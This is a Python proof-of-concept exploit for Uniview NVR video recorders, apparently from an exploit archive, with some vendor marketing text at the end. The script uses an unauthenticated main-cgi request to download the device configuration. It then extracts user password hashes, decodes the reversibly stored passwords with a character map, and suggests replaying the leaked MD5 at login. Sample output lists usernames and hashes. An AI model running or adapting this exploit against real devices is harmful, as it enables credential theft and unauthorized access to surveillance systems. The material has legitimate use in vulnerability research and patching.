#Uniview NVR remote passwords disclosure
#Author: B1t
# The Uniview NVR web application does not enforce authorizations on the main.cgi file when requesting json data.
# It says that you can do anything without authentication, however you must know the request structure.
# In addition, the users' passwords are both hashed and also stored in a reversible way
# The POC below remotely downloads the device's configuration file, extracts the credentials
# and decodes the reversible password strings using my crafted map
# It is worth mention that when you login, the javascript hashes the password with MD5 and pass the request.
# If the script does retrieve the hash and not the password, you can intercept the request and replace the generated
# MD5 with the one disclosed using this script
# Tested on the following models:
# NVR304-16E - Software Version B3118P26C00510
# NVR301-08-P8 - Software Version B3218P26C00512
#=09=09=09=09=09=09and version B3220P11
#
# Other versions may also be affected
#Usage: python nvr-pwd-disc.py http://Host_or_IP:PORT
# Run example:
# root@k4li:~# python nvr-pwd-disc.py http://192.168.1.5
#
# Uniview NVR remote passwords disclosure!
# Author: B1t
#
# [+] Getting model name and software version...
# Model: NVR301-08-P8
# Software Version: B3218P26C00512
#
# [+] Getting configuration file...
# [+] Number of users found: 4
#
# [+] Extracting users' hashes and decoding reversible strings:
#
# User =09|=09 Hash =09|=09 Password
# _________________________________________________
# admin =09|=093b9c687b1f4b9d87ed0fdd6abbf7e33d =09|=09<TRIMMED>
# default =09|=09 =09|=09||||||||||||||||||||
# HAUser =09|=09288b836a37578141fea6527b5e190120 =09|=09123HAUser123[err
# test =09|=0951b2454c681f3205f63b8372096d990b =09|=09AA123pqrstuvwxyz
#
# *Note that the users 'default' and 'HAUser' are default and sometimes in=
accessible remotely
import requests
import xml.etree.ElementTree
import sys
print "\r\nUniview NVR remote passwords disclosure!"
print "Author: B1t\r\n"
def decode_pass(rev_pass):
pass_dict =3D {'77': '1', '78': '2', '79': '3', '72': '4', '73': '5', '=
74': '6', '75': '7', '68': '8', '69': '9',
'76': '0', '93': '!', '60': '@', '95': '#', '88': '$', '89=
': '%', '34': '^', '90': '&', '86': '*',
'84': '(', '85': ')', '81': '-', '35': '_', '65': '=3D', '=
87': '+', '83': '/', '32': '\\', '0': '|',
'80': ',', '70': ':', '71': ';', '7': '{', '1': '}', '82':=
'.', '67': '?', '64': '<', '66': '>',
'2': '~', '39': '[', '33': ']', '94': '"', '91': "'", '28'=
: '`', '61': 'A', '62': 'B', '63': 'C',
'56': 'D', '57': 'E', '58': 'F', '59': 'G', '52': 'H', '53=
': 'I', '54': 'J', '55': 'K', '48': 'L',
'49': 'M', '50': 'N', '51': 'O', '44': 'P', '45': 'Q', '46=
': 'R', '47': 'S', '40': 'T', '41': 'U',
'42': 'V', '43': 'W', '36': 'X', '37': 'Y', '38': 'Z', '29=
': 'a', '30': 'b', '31': 'c', '24': 'd',
'25': 'e', '26': 'f', '27': 'g', '20': 'h', '21': 'i', '22=
': 'j', '23': 'k', '16': 'l', '17': 'm',
'18': 'n', '19': 'o', '12': 'p', '13': 'q', '14': 'r', '15=
': 's', '8': 't', '9': 'u', '10': 'v',
'11': 'w', '4': 'x', '5': 'y', '6': 'z'}
rev_pass =3D rev_pass.split(";")
pass_len =3D len(rev_pass) - rev_pass.count("124")
password =3D ""
for char in rev_pass:
if char !=3D "124": password =3D password + pass_dict[char]
return pass_len, password
if len(sys.argv) < 2:
print "Usage: " + sys.argv[0] + " http://HOST_or_IP:PORT\r\n PORT: The =
web interface's port"
print "\r\nExample: " + sys.argv[0] + " http://192.168.1.1:8850"
sys.exit()
elif "http://" not in sys.argv[1] and "https://" not in sys.argv[1]:
=09print "Usage: " + sys.argv[0] + " http://HOST_or_IP:PORT\r\n PORT: The w=
eb interface's port"
=09sys.exit()
=09
host =3D sys.argv[1]
print "[+] Getting model name and software version..."
r =3D requests.get(host + '/cgi-bin/main-cgi?json=3D{"cmd":%20116}')
if r.status_code !=3D 200:
print "Failed fetching version, got status code: " + r.status_code
print "Model: " + r.text.split('szDevName":=09"')[1].split('",')[0]
print "Software Version: " + r.text.split('szSoftwareVersion":=09"')[1].spl=
it('",')[0]
print "\r\n[+] Getting configuration file..."
r =3D requests.get(host + "/cgi-bin/main-cgi?json=3D{%22cmd%22:255,%22szUse=
rName%22:%22%22,%22u32UserLoginHandle%22:8888888888}")
if r.status_code !=3D 200:
print "Failed fetching configuration file, response code: " + r.status_=
code
sys.exit()
root =3D xml.etree.ElementTree.fromstring(r.text)
print "[+] Number of users found: " + root.find("UserCfg").get("Num")
print "\r\n[+] Extracting users' hashes and decoding reversible strings:"
users =3D root.find("UserCfg").getchildren()
print "\r\nUser \t|\t Hash \t|\t Password"
print "_________________________________________________"
for user in users:
l, p =3D decode_pass(user.get("RvsblePass"))
print user.get("UserName"), "\t|\t", user.get("UserPass"), "\t|\t", p
print "\r\n *Note that the users 'default' and 'HAUser' are default and som=
etimes inaccessible remotely"Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation